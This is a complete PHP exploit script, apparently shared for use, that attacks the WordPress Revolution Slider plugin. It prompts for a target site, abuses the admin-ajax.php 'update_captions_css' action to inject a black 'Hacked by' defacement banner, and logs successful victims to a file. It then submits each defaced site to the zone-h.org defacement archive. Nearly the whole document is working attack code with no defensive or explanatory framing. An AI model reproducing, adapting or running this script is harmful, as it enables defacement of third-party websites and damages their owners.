Wp Plugin Revolution Slider - Unrestricted File Upload Exp

 <?php
    /*


  Kyfx -


    */
     $agent = "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)";
    $******_file_path = "/";
    $site    = rtrim($site,'/');
    echo "\n| Enter Target # ";
    $site=trim(fgets(STDIN));
    echo "\n| Enter Your **** # ";
    $****=trim(fgets(STDIN));
    $url= "http://zone-h.org/notify/single";
    $hackmode="1";
    $reson="1";
    $path ="/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";
    echo "\n| Enter Your **** account zone-h # ";
    $hacker=trim(fgets(STDIN));

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://".$site."/wp-admin/admin-ajax.php");
    curl_setopt($ch, CURLOPT_USERAGENT, $agent);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, array("action" => "revslider_ajax_action", "client_action" => "update_captions_css", "data" => "<**** style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by $****<p style='color: transparent'>"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOW********, 1);
    curl_setopt($ch, CURLOPT_******FILE, $******_file_path);
    curl_setopt($ch, CURLOPT_******JAR, $******_file_path);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    $result = curl_exec($ch);
        if (eregi('true', $result)) {
        echo "| wait ......\n";
        echo "| Success Exploit\n";
        echo "| Link Index: http://".$site . "/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";
        $fo = fopen("finish.txt","a+");
        $r = fwrite($fo,"http://".$site."/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css\r\n");
        fclose($fo);}
        else {
        echo "| http://".$site . " : Not Revslider \n\n";
    }
    echo "\n\n";
    $k = curl_init();
    curl_setopt($k, CURLOPT_URL, $url);
    curl_setopt($k,CURLOPT_POST,1);
    curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1="."http://".$site."".$path."&hackmode=".$hackmode."&reason=".$reson);
    curl_setopt($k,CURLOPT_FOLLOW********, true);
    curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
    $kubra = curl_exec($k);
    curl_close($k);
     if (eregi('OK', $kubra)) {
     echo "| Send Site To Zone-H\n";
        echo "| Site : ".$site." Defaced !";
    } else {
     echo "| Send Site To Zone-H\n";
        echo "| http://".$site . " : Not Defaced \n\n";
    }
    curl_close($ch);



    ?>